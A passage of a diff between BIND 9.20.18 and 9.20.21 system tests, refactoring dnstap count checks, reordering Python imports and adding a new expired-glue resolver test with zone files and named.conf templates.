$ur4 -eq 1 ] || { - echo_i "ns4 $ur4 expected 1" - ret=1 - } + check_count ns4 $ur4 1 if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) @@ -720,6 +631,8 @@ ar4=$($DNSTAPREAD dnstap.out | grep "AR " | wc -l) cq4=$($DNSTAPREAD dnstap.out | grep "CQ " | wc -l) cr4=$($DNSTAPREAD dnstap.out | grep "CR " | wc -l) + fq4=$($DNSTAPREAD dnstap.out | grep "FQ " | wc -l) + fr4=$($DNSTAPREAD dnstap.out | grep "FR " | wc -l) rq4=$($DNSTAPREAD dnstap.out | grep "RQ " | wc -l) rr4=$($DNSTAPREAD dnstap.out | grep "RR " | wc -l) uq4=$($DNSTAPREAD dnstap.out | grep "UQ " | wc -l) @@ -727,89 +640,73 @@ echo_i "checking UDP message counts" ret=0 - [ $udp4 -eq 2 ] || { - echo_i "ns4 $udp4 expected 2" - ret=1 - } + check_count ns4 $udp4 2 if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) echo_i "checking TCP message counts" ret=0 - [ $tcp4 -eq 0 ] || { - echo_i "ns4 $tcp4 expected 0" - ret=1 - } + check_count ns4 $tcp4 0 if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) echo_i "checking AUTH_QUERY message counts" ret=0 - [ $aq4 -eq 0 ] || { - echo_i "ns4 $aq4 expected 0" - ret=1 - } + check_count ns4 $aq4 0 if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) echo_i "checking AUTH_RESPONSE message counts" ret=0 - [ $ar4 -eq 0 ] || { - echo_i "ns4 $ar4 expected 0" - ret=1 - } + check_count ns4 $ar4 0 if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) echo_i "checking CLIENT_QUERY message counts" ret=0 - [ $cq4 -eq 1 ] || { - echo_i "ns4 $cq4 expected 1" - ret=1 - } + check_count ns4 $cq4 1 if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) echo_i "checking CLIENT_RESPONSE message counts" ret=0 - [ $cr4 -eq 1 ] || { - echo_i "ns4 $cr4 expected 1" - ret=1 - } + check_count ns4 $cr4 1 if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) echo_i "checking RESOLVER_QUERY message counts" ret=0 - [ $rq4 -eq 0 ] || { - echo_i "ns4 $rq4 expected 0" - ret=1 - } + check_count ns4 $rq4 0 if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) echo_i "checking RESOLVER_RESPONSE message counts" ret=0 - [ $rr4 -eq 0 ] || { - echo_i "ns4 $rr4 expected 0" - ret=1 - } + check_count ns4 $rr4 0 + if [ $ret != 0 ]; then echo_i "failed"; fi + status=$((status + ret)) + + echo_i "checking FORWARDER_QUERY message counts" + ret=0 + check_count ns4 $fq4 0 + if [ $ret != 0 ]; then echo_i "failed"; fi + status=$((status + ret)) + + echo_i "checking FORWARDER_RESPONSE message counts" + ret=0 + check_count ns4 $fr4 0 + if [ $ret != 0 ]; then echo_i "failed"; fi + status=$((status + ret)) echo_i "checking UPDATE_QUERY message counts" ret=0 - [ $uq4 -eq 0 ] || { - echo_i "ns4 $uq4 expected 0" - ret=1 - } + check_count ns4 $uq4 0 if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) echo_i "checking UPDATE_RESPONSE message counts" ret=0 - [ $ur4 -eq 0 ] || { - echo_i "ns4 $ur4 expected 0" - ret=1 - } + check_count ns4 $ur4 0 if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) fi diff -Nru bind9-9.20.18/bin/tests/system/dnstap/tests_dnstap.py bind9-9.20.21/bin/tests/system/dnstap/tests_dnstap.py --- bind9-9.20.18/bin/tests/system/dnstap/tests_dnstap.py 2026-01-09 13:39:28.061971666 +0000 +++ bind9-9.20.21/bin/tests/system/dnstap/tests_dnstap.py 2026-03-13 22:01:10.592880831 +0000 @@ -14,12 +14,12 @@ import os import re -import isctest -import isctest.mark +import dns.rcode +import dns.rrset import pytest -pytest.importorskip("dns", minversion="2.0.0") -import dns.rrset +import isctest +import isctest.mark pytestmark = [ isctest.mark.with_dnstap, diff -Nru bind9-9.20.18/bin/tests/system/dnstap/ydump.py bind9-9.20.21/bin/tests/system/dnstap/ydump.py --- bind9-9.20.18/bin/tests/system/dnstap/ydump.py 2026-01-09 13:39:28.061971666 +0000 +++ bind9-9.20.21/bin/tests/system/dnstap/ydump.py 2026-03-13 22:01:10.592880831 +0000 @@ -17,8 +17,8 @@ print("No python yaml module, skipping") sys.exit(1) -import subprocess import pprint +import subprocess DNSTAP_READ = sys.argv[1] DATAFILE = sys.argv[2] diff -Nru bind9-9.20.18/bin/tests/system/doth/conftest.py bind9-9.20.21/bin/tests/system/doth/conftest.py --- bind9-9.20.18/bin/tests/system/doth/conftest.py 2026-01-09 13:39:28.065971771 +0000 +++ bind9-9.20.21/bin/tests/system/doth/conftest.py 2026-03-13 22:01:10.596880703 +0000 @@ -14,6 +14,7 @@ import shutil import pytest + import isctest diff -Nru bind9-9.20.18/bin/tests/system/doth/stress_http_quota.py bind9-9.20.21/bin/tests/system/doth/stress_http_quota.py --- bind9-9.20.18/bin/tests/system/doth/stress_http_quota.py 2026-01-09 13:39:28.067971823 +0000 +++ bind9-9.20.21/bin/tests/system/doth/stress_http_quota.py 2026-03-13 22:01:10.600880575 +0000 @@ -11,18 +11,16 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. +from functools import reduce +from resource import RLIMIT_NOFILE, getrlimit, setrlimit + import os -import sys +import random import socket import subprocess -import random +import sys import time -from functools import reduce -from resource import getrlimit -from resource import setrlimit -from resource import RLIMIT_NOFILE - MULTIDIG_INSTANCES = 10 CONNECT_TRIES = 5 @@ -137,9 +135,8 @@ return command def run(self): - # pylint: disable=consider-using-with with open(os.devnull, "w", encoding="utf-8") as devnull: - self.sub_process = subprocess.Popen( + self.sub_process = subprocess.Popen( # pylint: disable=consider-using-with self.get_command(), shell=True, stdout=devnull ) @@ -228,8 +225,8 @@ assert subdig.alive(), "The single DIG instance is expected to be alive" assert multidig.alive(), ( "The DIG instances from the set are all expected to " - "be alive, but {} of them have completed" - ).format(multidig.completed()) + f"be alive, but {multidig.completed()} of them have completed" + ) # Let's close opened connections (in random order) to let all dig # processes to complete connector.disconnect_all() diff -Nru bind9-9.20.18/bin/tests/system/doth/tests_gnutls.py bind9-9.20.21/bin/tests/system/doth/tests_gnutls.py --- bind9-9.20.18/bin/tests/system/doth/tests_gnutls.py 2026-01-09 13:39:28.068971850 +0000 +++ bind9-9.20.21/bin/tests/system/doth/tests_gnutls.py 2026-03-13 22:01:10.600880575 +0000 @@ -16,13 +16,12 @@ import subprocess import time -import pytest - -pytest.importorskip("dns") import dns.exception +import dns.message import dns.name import dns.rdataclass import dns.rdatatype +import pytest import isctest @@ -48,7 +47,7 @@ "--no-ocsp", "--alpn=dot", "--logfile=gnutls-cli.log", - "--port=%d" % named_tlsport, + f"--port={named_tlsport}", "10.53.0.1", ] with open("gnutls-cli.err", "wb") as gnutls_cli_stderr, subprocess.Popen( diff -Nru bind9-9.20.18/bin/tests/system/dsdigest/tests_dsdigest.py bind9-9.20.21/bin/tests/system/dsdigest/tests_dsdigest.py --- bind9-9.20.18/bin/tests/system/dsdigest/tests_dsdigest.py 2026-01-09 13:39:28.069971876 +0000 +++ bind9-9.20.21/bin/tests/system/dsdigest/tests_dsdigest.py 2026-03-13 22:01:10.601880543 +0000 @@ -10,6 +10,7 @@ # information regarding copyright ownership. import dns.flags +import dns.message import pytest import isctest diff -Nru bind9-9.20.18/bin/tests/system/ecdsa/tests_ecdsa.py bind9-9.20.21/bin/tests/system/ecdsa/tests_ecdsa.py --- bind9-9.20.18/bin/tests/system/ecdsa/tests_ecdsa.py 2026-01-09 13:39:28.071971928 +0000 +++ bind9-9.20.21/bin/tests/system/ecdsa/tests_ecdsa.py 2026-03-13 22:01:10.604880447 +0000 @@ -10,13 +10,12 @@ # information regarding copyright ownership. import os -import pytest import dns.flags +import pytest import isctest - pytestmark = pytest.mark.extra_artifacts( [ "ns*/trusted.conf", diff -Nru bind9-9.20.18/bin/tests/system/expiredglue/ns1/named.conf.j2 bind9-9.20.21/bin/tests/system/expiredglue/ns1/named.conf.j2 --- bind9-9.20.18/bin/tests/system/expiredglue/ns1/named.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/expiredglue/ns1/named.conf.j2 2026-03-13 22:01:10.608880319 +0000 @@ -0,0 +1,39 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +options { + query-source address 10.53.0.1; + notify-source 10.53.0.1; + transfer-source 10.53.0.1; + port @PORT@; + pid-file "named.pid"; + listen-on { 10.53.0.1; }; + recursion no; + dnssec-validation no; +}; + +view "default" { + zone "." { + type primary; + file "root.db"; + }; +}; + +key rndc_key { + secret "1234abcd8765"; + algorithm @DEFAULT_HMAC@; +}; + +controls { + inet 10.53.0.1 port @CONTROLPORT@ allow { any; } keys { rndc_key; }; +}; diff -Nru bind9-9.20.18/bin/tests/system/expiredglue/ns1/root.db bind9-9.20.21/bin/tests/system/expiredglue/ns1/root.db --- bind9-9.20.18/bin/tests/system/expiredglue/ns1/root.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/expiredglue/ns1/root.db 2026-03-13 22:01:10.608880319 +0000 @@ -0,0 +1,24 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$TTL 300 +. IN SOA marka.isc.org. a.root.servers.nil. ( + 2010 ; serial + 600 ; refresh + 600 ; retry + 1200 ; expire + 600 ; minimum + ) +. NS a.root-servers.nil. +a.root-servers.nil. A 10.53.0.1 + +tld. NS ns.tld. +ns.tld. A 10.53.0.2 diff -Nru bind9-9.20.18/bin/tests/system/expiredglue/ns2/named.conf.j2 bind9-9.20.21/bin/tests/system/expiredglue/ns2/named.conf.j2 --- bind9-9.20.18/bin/tests/system/expiredglue/ns2/named.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/expiredglue/ns2/named.conf.j2 2026-03-13 22:01:10.608880319 +0000 @@ -0,0 +1,37 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +options { + query-source address 10.53.0.2; + notify-source 10.53.0.2; + transfer-source 10.53.0.2; + port @PORT@; + pid-file "named.pid"; + listen-on { 10.53.0.2; }; + recursion no; + dnssec-validation no; +}; + +zone "tld." { + type primary; + file "tld.db"; +}; + +key rndc_key { + secret "1234abcd8765"; + algorithm @DEFAULT_HMAC@; +}; + +controls { + inet 10.53.0.2 port @CONTROLPORT@ allow { any; } keys { rndc_key; }; +}; diff -Nru bind9-9.20.18/bin/tests/system/expiredglue/ns2/tld.db bind9-9.20.21/bin/tests/system/expiredglue/ns2/tld.db --- bind9-9.20.18/bin/tests/system/expiredglue/ns2/tld.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/expiredglue/ns2/tld.db 2026-03-13 22:01:10.608880319 +0000 @@ -0,0 +1,28 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$TTL 300 +tld. IN SOA marka.isc.org. ns.tld. ( + 2010 ; serial + 600 ; refresh + 600 ; retry + 1200 ; expire + 600 ; minimum + ) +tld. NS ns.tld. +ns.tld. A 10.53.0.2 + +example.tld. NS ns.dnshoster.tld. +missing.tld. NS ns.missing.tld. +dnshoster.tld. NS ns.dnshoster.tld. + +; Delegation's glue has a TTL of 300 on parent-side +ns.dnshoster.tld. A 10.53.0.3 diff -Nru bind9-9.20.18/bin/tests/system/expiredglue/ns3/dnshoster.tld.db bind9-9.20.21/bin/tests/system/expiredglue/ns3/dnshoster.tld.db --- bind9-9.20.18/bin/tests/system/expiredglue/ns3/dnshoster.tld.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/expiredglue/ns3/dnshoster.tld.db 2026-03-13 22:01:10.608880319 +0000 @@ -0,0 +1,24 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$TTL 300 +dnshoster.tld. IN SOA marka.isc.org. ns.dnshoster.tld. ( + 2010 ; serial + 600 ; refresh + 600 ; retry + 1200 ; expire + 600 ; minimum + ) + +; The TTL of the delegation's glue child-side is 2 seconds. +dnshoster.tld. NS ns.dnshoster.tld. +ns.dnshoster.tld. 2 A 10.53.0.3 +a.dnshoster.tld. 2 A 10.53.0.10 diff -Nru bind9-9.20.18/bin/tests/system/expiredglue/ns3/example.tld.db bind9-9.20.21/bin/tests/system/expiredglue/ns3/example.tld.db --- bind9-9.20.18/bin/tests/system/expiredglue/ns3/example.tld.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/expiredglue/ns3/example.tld.db 2026-03-13 22:01:10.608880319 +0000 @@ -0,0 +1,22 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$TTL 300 +example.tld. IN SOA marka.isc.org. ns.dnshoster.tld. ( + 2010 ; serial + 600 ; refresh + 600 ; retry + 1200 ; expire + 600 ; minimum + ) + +example.tld. NS ns.dnshoster.tld. +a.example.tld. 2 A 10.53.0.10 diff -Nru bind9-9.20.18/bin/tests/system/expiredglue/ns3/named.conf.j2 bind9-9.20.21/bin/tests/system/expiredglue/ns3/named.conf.j2 --- bind9-9.20.18/bin/tests/system/expiredglue/ns3/named.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/expiredglue/ns3/named.conf.j2 2026-03-13 22:01:10.609880287 +0000 @@ -0,0 +1,42 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +options { + query-source address 10.53.0.3; + notify-source 10.53.0.3; + transfer-source 10.53.0.3; + port @PORT@; + pid-file "named.pid"; + listen-on { 10.53.0.3; }; + recursion no; + dnssec-validation no; +}; + +zone "dnshoster.tld." { + type primary; + file "dnshoster.tld.db"; +}; + +zone "example.tld." { + type primary; + file "example.tld.db"; +}; + +key rndc_key { + secret "1234abcd8765"; + algorithm @DEFAULT_HMAC@; +}; + +controls { + inet 10.53.0.3 port @CONTROLPORT@ allow { any; } keys { rndc_key; }; +}; diff -Nru bind9-9.20.18/bin/tests/system/expiredglue/ns4/named.args bind9-9.20.21/bin/tests/system/expiredglue/ns4/named.args --- bind9-9.20.18/bin/tests/system/expiredglue/ns4/named.args 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/expiredglue/ns4/named.args 2026-03-13 22:01:10.609880287 +0000 @@ -0,0 +1 @@ +-D expiredglue-ns4 -m record -c named.conf -d 99 -g -4 -T adbentrywindow=0 -T adbcachemin=1 -T maxcachesize=2097152 diff -Nru bind9-9.20.18/bin/tests/system/expiredglue/ns4/named.conf.j2 bind9-9.20.21/bin/tests/system/expiredglue/ns4/named.conf.j2 --- bind9-9.20.18/bin/tests/system/expiredglue/ns4/named.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/expiredglue/ns4/named.conf.j2 2026-03-13 22:01:10.609880287 +0000 @@ -0,0 +1,37 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +options { + query-source address 10.53.0.4; + notify-source 10.53.0.4; + transfer-source 10.53.0.4; + port @PORT@; + pid-file "named.pid"; + listen-on { 10.53.0.4; }; + recursion yes; + dnssec-validation no; +}; + +zone "." { + type hint; + file "root.hint"; +}; + +key rndc_key { + secret "1234abcd8765"; + algorithm @DEFAULT_HMAC@; +}; + +controls { + inet 10.53.0.4 port @CONTROLPORT@ allow { any; } keys { rndc_key; }; +}; diff -Nru bind9-9.20.18/bin/tests/system/expiredglue/ns4/root.hint bind9-9.20.21/bin/tests/system/expiredglue/ns4/root.hint --- bind9-9.20.18/bin/tests/system/expiredglue/ns4/root.hint 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/expiredglue/ns4/root.hint 2026-03-13 22:01:10.609880287 +0000 @@ -0,0 +1,14 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$TTL 999999 +. IN NS a.root-servers.nil. +a.root-servers.nil. IN A 10.53.0.1 diff -Nru bind9-9.20.18/bin/tests/system/expiredglue/tests_expiredglue.py bind9-9.20.21/bin/tests/system/expiredglue/tests_expiredglue.py --- bind9-9.20.18/bin/tests/system/expiredglue/tests_expiredglue.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/expiredglue/tests_expiredglue.py 2026-03-13 22:01:10.609880287 +0000 @@ -0,0 +1,55 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +import time + +import isctest + + +def test_expiredglue(ns4): + msg1 = isctest.query.create("a.example.tld.", "A") + res1 = isctest.query.udp(msg1, ns4.ip) + isctest.check.noerror(res1) + isctest.check.rr_count_eq(res1.answer, 1) + + msg2 = isctest.query.create("a.dnshoster.tld.", "A") + res2 = isctest.query.udp(msg2, ns4.ip) + isctest.check.rr_count_eq(res2.answer, 1) + + msg3 = isctest.query.create("ns.dnshoster.tld.", "A") + res3 = isctest.query.udp(msg3, ns4.ip) + isctest.check.rr_count_eq(res3.answer, 1) + + time.sleep(3) + + # Even if the glue is expired but the delegation is not, named + # is able to "recover" by looking up the hints again and does + # not bails out with a fetch loop detection. + res1_2 = isctest.query.udp(msg1, ns4.ip) + isctest.check.same_data(res1_2, res1) + + time.sleep(3) + res2_2 = isctest.query.udp(msg2, ns4.ip) + isctest.check.same_data(res2_2, res2) + + time.sleep(3) + res3_2 = isctest.query.udp(msg3, ns4.ip) + isctest.check.same_data(res3_2, res3) + + +def test_loopdetected(ns4): + msg = isctest.query.create("a.missing.tld.", "A") + with ns4.watch_log_from_here() as watcher: + res = isctest.query.udp(msg, ns4.ip) + + # However, this is a valid fetch loop, and named detects it. + watcher.wait_for_line("loop detected resolving 'ns.missing.tld/A'") + isctest.check.servfail(res) diff -Nru bind9-9.20.18/bin/tests/system/fetchlimit/ans4/ans.py bind9-9.20.21/bin/tests/system/fetchlimit/ans4/ans.py --- bind9-9.20.18/bin/tests/system/fetchlimit/ans4/ans.py 2026-01-09 13:39:28.075972033 +0000 +++ bind9-9.20.21/bin/tests/system/fetchlimit/ans4/ans.py 2026-03-13 22:01:10.609880287 +0000 @@ -11,7 +11,7 @@ information regarding copyright ownership. """ -from typing import AsyncGenerator +from collections.abc import AsyncGenerator import dns.rcode import dns.rdatatype diff -Nru bind9-9.20.18/bin/tests/system/fetchlimit/tests_sh_fetchlimit.py bind9-9.20.21/bin/tests/system/fetchlimit/tests_sh_fetchlimit.py --- bind9-9.20.18/bin/tests/system/fetchlimit/tests_sh_fetchlimit.py 2026-01-09 13:39:28.076972060 +0000 +++ bind9-9.20.21/bin/tests/system/fetchlimit/tests_sh_fetchlimit.py 2026-03-13 22:01:10.611880223 +0000 @@ -11,9 +11,6 @@ import pytest -# isctest.asyncserver requires dnspython >= 2.0.0 -pytest.importorskip("dns", minversion="2.0.0") - pytestmark = pytest.mark.extra_artifacts( [ "dig.out.*", diff -Nru bind9-9.20.18/bin/tests/system/filters/common.py bind9-9.20.21/bin/tests/system/filters/common.py --- bind9-9.20.18/bin/tests/system/filters/common.py 2026-01-09 13:39:28.076972060 +0000 +++ bind9-9.20.21/bin/tests/system/filters/common.py 2026-03-13 22:01:10.611880223 +0000 @@ -9,11 +9,11 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -import dns from dns import rdataclass, rdatatype -import isctest +import dns.name +import isctest ARTIFACTS = [ "conf/*.conf", diff -Nru bind9-9.20.18/bin/tests/system/filters/tests_filter_a_v4.py bind9-9.20.21/bin/tests/system/filters/tests_filter_a_v4.py --- bind9-9.20.18/bin/tests/system/filters/tests_filter_a_v4.py 2026-01-09 13:39:28.079972138 +0000 +++ bind9-9.20.21/bin/tests/system/filters/tests_filter_a_v4.py 2026-03-13 22:01:10.614880127 +0000 @@ -11,8 +11,6 @@ import pytest -import isctest.mark - from filters.common import ( ARTIFACTS, check_filter, @@ -20,6 +18,7 @@ prime_cache, ) +import isctest.mark pytestmark = pytest.mark.extra_artifacts(ARTIFACTS) diff -Nru bind9-9.20.18/bin/tests/system/filters/tests_filter_a_v6.py bind9-9.20.21/bin/tests/system/filters/tests_filter_a_v6.py --- bind9-9.20.18/bin/tests/system/filters/tests_filter_a_v6.py 2026-01-09 13:39:28.079972138 +0000 +++ bind9-9.20.21/bin/tests/system/filters/tests_filter_a_v6.py 2026-03-13 22:01:10.614880127 +0000 @@ -11,8 +11,6 @@ import pytest -import isctest.mark - from filters.common import ( ARTIFACTS, check_filter, @@ -20,6 +18,7 @@ prime_cache, ) +import isctest.mark pytestmark = pytest.mark.extra_artifacts(ARTIFACTS) diff -Nru bind9-9.20.18/bin/tests/system/filters/tests_filter_aaaa_v4.py bind9-9.20.21/bin/tests/system/filters/tests_filter_aaaa_v4.py --- bind9-9.20.18/bin/tests/system/filters/tests_filter_aaaa_v4.py 2026-01-09 13:39:28.079972138 +0000 +++ bind9-9.20.21/bin/tests/system/filters/tests_filter_aaaa_v4.py 2026-03-13 22:01:10.614880127 +0000 @@ -11,9 +11,6 @@ import pytest -import isctest -import isctest.mark - from filters.common import ( ARTIFACTS, check_filter, @@ -21,6 +18,7 @@ prime_cache, ) +import isctest.mark pytestmark = pytest.mark.extra_artifacts(ARTIFACTS) diff -Nru bind9-9.20.18/bin/tests/system/filters/tests_filter_aaaa_v6.py bind9-9.20.21/bin/tests/system/filters/tests_filter_aaaa_v6.py --- bind9-9.20.18/bin/tests/system/filters/tests_filter_aaaa_v6.py 2026-01-09 13:39:28.079972138 +0000 +++ bind9-9.20.21/bin/tests/system/filters/tests_filter_aaaa_v6.py 2026-03-13 22:01:10.614880127 +0000 @@ -11,8 +11,6 @@ import pytest -import isctest.mark - from filters.common import ( ARTIFACTS, check_filter, @@ -20,6 +18,7 @@ prime_cache, ) +import isctest.mark pytestmark = pytest.mark.extra_artifacts(ARTIFACTS) diff -Nru bind9-9.20.18/bin/tests/system/filters/tests_filter_checkconf.py bind9-9.20.21/bin/tests/system/filters/tests_filter_checkconf.py --- bind9-9.20.18/bin/tests/system/filters/tests_filter_checkconf.py 2026-01-09 13:39:28.079972138 +0000 +++ bind9-9.20.21/bin/tests/system/filters/tests_filter_checkconf.py 2026-03-13 22:01:10.614880127 +0000 @@ -15,10 +15,9 @@ import pytest -import isctest - from filters.common import ARTIFACTS +import isctest pytestmark = pytest.mark.extra_artifacts(ARTIFACTS) diff -Nru bind9-9.20.18/bin/tests/system/filters/tests_filter_dns64.py bind9-9.20.21/bin/tests/system/filters/tests_filter_dns64.py --- bind9-9.20.18/bin/tests/system/filters/tests_filter_dns64.py 2026-01-09 13:39:28.079972138 +0000 +++ bind9-9.20.21/bin/tests/system/filters/tests_filter_dns64.py 2026-03-13 22:01:10.614880127 +0000 @@ -11,10 +11,9 @@ import pytest -import isctest - from filters.common import ARTIFACTS +import isctest pytestmark = pytest.mark.extra_artifacts(ARTIFACTS) diff -Nru bind9-9.20.18/bin/tests/system/forward/ans11/ans.py bind9-9.20.21/bin/tests/system/forward/ans11/ans.py --- bind9-9.20.18/bin/tests/system/forward/ans11/ans.py 2026-01-09 13:39:28.083972243 +0000 +++ bind9-9.20.21/bin/tests/system/forward/ans11/ans.py 2026-03-13 22:01:10.618880000 +0000 @@ -11,7 +11,7 @@ information regarding copyright ownership. """ -from typing import AsyncGenerator +from collections.abc import AsyncGenerator import dns.rdatatype import dns.rrset diff -Nru bind9-9.20.18/bin/tests/system/forward/ans6/ans.py bind9-9.20.21/bin/tests/system/forward/ans6/ans.py --- bind9-9.20.18/bin/tests/system/forward/ans6/ans.py 2026-01-09 13:39:28.083972243 +0000 +++ bind9-9.20.21/bin/tests/system/forward/ans6/ans.py 2026-03-13 22:01:10.618880000 +0000 @@ -11,7 +11,7 @@ information regarding copyright ownership. """ -from typing import AsyncGenerator +from collections.abc import AsyncGenerator import dns.name import dns.rcode diff -Nru bind9-9.20.18/bin/tests/system/forward/tests_sh_forward.py bind9-9.20.21/bin/tests/system/forward/tests_sh_forward.py --- bind9-9.20.18/bin/tests/system/forward/tests_sh_forward.py 2026-01-09 13:39:28.088972375 +0000 +++ bind9-9.20.21/bin/tests/system/forward/tests_sh_forward.py 2026-03-13 22:01:10.622879872 +0000 @@ -11,9 +11,6 @@ import pytest -# isctest.asyncserver requires dnspython >= 2.0.0 -pytest.importorskip("dns", minversion="2.0.0") - pytestmark = pytest.mark.extra_artifacts( [ "dig.out.*", diff -Nru bind9-9.20.18/bin/tests/system/glue/tests_glue.py bind9-9.20.21/bin/tests/system/glue/tests_glue.py --- bind9-9.20.18/bin/tests/system/glue/tests_glue.py 2026-01-09 13:39:28.092972479 +0000 +++ bind9-9.20.21/bin/tests/system/glue/tests_glue.py 2026-03-13 22:01:10.626879744 +0000 @@ -10,14 +10,13 @@ # information regarding copyright ownership. +import dns.edns import dns.flags import dns.message import pytest import isctest -pytest.importorskip("dns", minversion="2.0.0") - pytestmark = pytest.mark.extra_artifacts( [ "ns1/*", diff -Nru bind9-9.20.18/bin/tests/system/hooks/tests_async_plugin.py bind9-9.20.21/bin/tests/system/hooks/tests_async_plugin.py --- bind9-9.20.18/bin/tests/system/hooks/tests_async_plugin.py 2026-01-09 13:39:28.092972479 +0000 +++ bind9-9.20.21/bin/tests/system/hooks/tests_async_plugin.py 2026-03-13 22:01:10.627879712 +0000 @@ -10,10 +10,6 @@ # information regarding copyright ownership. import isctest -import pytest - -# isctest.asyncserver requires dnspython >= 2.0.0 -pytest.importorskip("dns", minversion="2.0.0") def test_async_hook(): diff -Nru bind9-9.20.18/bin/tests/system/isctest/__init__.py bind9-9.20.21/bin/tests/system/isctest/__init__.py --- bind9-9.20.18/bin/tests/system/isctest/__init__.py 2026-01-09 13:39:28.098972637 +0000 +++ bind9-9.20.21/bin/tests/system/isctest/__init__.py 2026-03-13 22:01:10.633879520 +0000 @@ -9,20 +9,31 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -from . import check -from . import instance -from . import query -from . import kasp -from . import run -from . import template -from . import log -from . import vars # pylint: disable=redefined-builtin - -# isctest.hypothesis is intentionally NOT imported, because it detects proper -# hypothesis support and instructs pytest to skip the tests otherwise. It -# should be manually imported only in the modules that require hypothesis. +from . import ( # pylint: disable=redefined-builtin + check, + hypothesis, + instance, + kasp, + log, + query, + run, + template, + vars, +) # isctest.mark module is intentionally NOT imported, because it relies on # environment variables which might not be set at the time of import of the # `isctest` package. To use the marks, manual `import isctest.mark` is needed # instead. + +__all__ = [ + "check", + "hypothesis", + "instance", + "kasp", + "log", + "query", + "run", + "template", + "vars", +] diff -Nru bind9-9.20.18/bin/tests/system/isctest/__main__.py 